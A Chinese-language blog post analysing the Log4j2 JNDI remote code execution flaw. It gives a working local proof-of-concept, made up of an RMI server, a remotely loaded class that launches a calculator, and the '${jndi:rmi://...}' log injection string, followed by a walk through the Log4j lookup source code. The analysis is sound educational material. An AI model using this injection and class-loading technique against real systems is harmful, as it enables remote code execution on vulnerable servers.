Apache Log4j 遠程代碼執行漏洞源碼級分析

漏洞的前因後果

2021 年 12 月 9 日,2021 年 11 月 24 日,阿里雲安全團隊向 Apache 官方報告了 Apache Log4j2 遠程代碼執行漏洞。詳情見 【漏洞預警】Apache Log4j 遠程代碼執行漏洞

漏洞描述

Apache Log4j2 是一款優秀的 Java 日誌框架。2021 年 11 月 24 日,阿里雲安全團隊向 Apache 官方報告了 Apache Log4j2 遠程代碼執行漏洞。由於 Apache Log4j2 某些功能存在遞歸解析功能,攻擊者可直接構造惡意請求,觸發遠程代碼執行漏洞。漏洞利用無需特殊配置,經阿里雲安全團隊驗證,Apache Struts2、Apache Solr、Apache Druid、Apache Flink 等均受影響。阿里雲應急響應中心提醒 Apache Log4j2 用戶儘快採取安全措施阻止漏洞攻擊。

漏洞評級

Apache Log4j 遠程代碼執行漏洞 嚴重

影響版本

Apache Log4j 2.x <= 2.14.1

安全建議

1、升級 Apache Log4j2 所有相關應用到最新的 log4j-2.15.0-rc1 版本,地址 https://github.com/apache/logging-log4j2/releases/tag/log4j-2.15.0-rc1

2、升級已知受影響的應用及組件,如 srping-boot-strater-log4j2/Apache Solr/Apache Flink/Apache Druid。

本地復現漏洞

首先需要使用低版本的 log4j 包,我們在本地新建一個 Spring Boot 項目,使用 2.5.7 版本的 Spring Boot,可以看到一老的 log4j 是 2.14.1,可以復現漏洞。

參考 Apache Log4j Lookups,我們先使用代碼在 log 裏獲取一下 java:vm。

本地打印 JVM 基礎信息

@SpringBootTest
class Log4jApplicationTests {

	private static final Logger logger = LogManager.getLogger(SpringBootTest.class);

	@Test
	void log4j() {
		logger.info("content {}", "${java:vm}");
	}
}

可以發現輸出是:

content Java HotSpot(TM) 64-Bit Server VM (build 25.152-b16, mixed mode)

使用 JavaLookup 獲取到了 JVM 的相關信息(需要使用java前綴)。

本地獲取服務器的打印信息

本地啓動一個 RMI 服務:

public class Server {

    public static void main(String[] args) throws Exception {
        Registry registry = LocateRegistry.createRegistry(1099);
        String url = "http://127.0.0.1:8081/";
        // Reference 需要傳入三個參數 (className,factory,factoryLocation)
        // 第一個參數隨意填寫即可,第二個參數填寫我們 http 服務下的類名,第三個參數填寫我們的遠程地址
        Reference reference = new Reference("ExecCalc", "ExecCalc", url);
        ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
        registry.bind("calc", referenceWrapper);
    }
}

ExecCalc 類直接放在根目錄,不能申請包名,即不能存在 package xxx。聲明後編譯的 class 文件函數名稱會加上包名從而不匹配。參考 Java 安全-RMI-JNDI 注入

public class ExecCalc {
    static {
        try {
            System.out.println("open a Calculator!");
            Runtime.getRuntime().exec("open -a Calculator");
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

之後啓動上面的 Server 類,再執行下面的代碼:

@Test
void log4jEvil() {
    System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
    logger.info("${jndi:rmi://127.0.0.1:1099/calc}");
}

發現測試用例的控制檯輸出了 open a Calculator! 並啓動了計算器。

log4j 漏洞源碼分析

只看 logger.info("${jndi:rmi://127.0.0.1:1099/calc}"); 這段代碼,首先會調用到 org.apache.logging.log4j.core.config.LoggerConfig#processLogEvent:

private void processLogEvent(final LogEvent event, final LoggerConfigPredicate predicate) {
    event.setIncludeLocation(isIncludeLocation());
    if (predicate.allow(this)) {
        callAppenders(event);
    }
    logParent(event, predicate);
}

其中 LogEvent 結構如下:

encode 對應的事件,將 ${param} 裏的 param 解析出來,org.apache.logging.log4j.core.appender.AbstractOutputStreamAppender#tryAppend

private void tryAppend(final LogEvent event) {
    if (Constants.ENABLE_DIRECT_ENCODERS) {
        directEncodeEvent(event);
    } else {
        writeByteArrayToManager(event);
    }
}

protected void directEncodeEvent(final LogEvent event) {
    getLayout().encode(event, manager);
    if (this.immediateFlush || event.isEndOfBatch()) {
        manager.flush();
    }
}

調用 org.apache.logging.log4j.core.lookup.StrSubstitutor#resolveVariable,將對應參數解析出結果。

protected String resolveVariable(final LogEvent event, final String variableName, final StringBuilder buf,
                                    final int startPos, final int endPos) {
    final StrLookup resolver = getVariableResolver();
    if (resolver == null) {
        return null;
    }
    return resolver.lookup(event, variableName);
}

和官方文檔上是能夠對應上的,即 log 裏只解析前綴爲 datejndi 等的命令,本文的測試用例使用的是 ${jndi:rmi://127.0.0.1:1099/calc}

解析出參數的結果, org.apache.logging.log4j.core.lookup.Interpolator#lookup

@Override
public String lookup(final LogEvent event, String var) {
    if (var == null) {
        return null;
    }

    final int prefixPos = var.indexOf(PREFIX_SEPARATOR);
    if (prefixPos >= 0) {
        final String prefix = var.substring(0, prefixPos).toLowerCase(Locale.US);
        final String name = var.substring(prefixPos + 1);
        final StrLookup lookup = strLookupMap.get(prefix);
        if (lookup instanceof ConfigurationAware) {
            ((ConfigurationAware) lookup).setConfiguration(configuration);
        }
        String value = null;
        if (lookup != null) {
            value = event == null ? lookup.lookup(name) : lookup.lookup(event, name);
        }

        if (value != null) {
            return value;
        }
        var = var.substring(prefixPos + 1);
    }
    if (defaultLookup != null) {
        return event == null ? defaultLookup.lookup(var) : defaultLookup.lookup(event, var);
    }
    return null;
}

其核心是這段代碼:

value = event == null ? lookup.lookup(name) : lookup.lookup(event, name);

org.apache.logging.log4j.core.lookup.JndiLookup#lookup

接下來就是調用 javax.naming 的 JDK 相關代碼,遠程加載了 ExecCalc 類,在本地輸出了 open a Calculator! 並啓動了計算器。

擴展:JNDI

JNDI (Java Naming and Directory Interface) 是一組應用程序接口,它爲開發人員查找和訪問各種資源提供了統一的通用接口,可以用來定位用戶、網絡、機器、對象和服務等各種資源。比如可以利用 JNDI 在局域網上定位一臺打印機,也可以用 JNDI 來定位數據庫服務或一個遠程 Java 對象。JNDI 底層支持 RMI 遠程對象,RMI 註冊的服務可以通過 JNDI 接口來訪問和調用。

​JNDI 是應用程序設計的 Api,JNDI 可以根據名字動態加載數據,支持的服務主要有以下幾種:DNS、LDAP、 CORBA 對象服務、RMI 等等。

其應用場景比如:動態加載數據庫配置文件,從而保持數據庫代碼不變動等。

危害是什麼?

  1. client 可以獲取服務器的某些信息,通過 JNDI 遠程加載類
  2. client 向服務器注入惡意代碼

GitHub 項目

Java 編程思想-最全思維導圖-GitHub 下載鏈接,需要的小夥伴可以自取~

原創不易,希望大家轉載時請先聯繫我,並標註原文鏈接。

參考鏈接

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章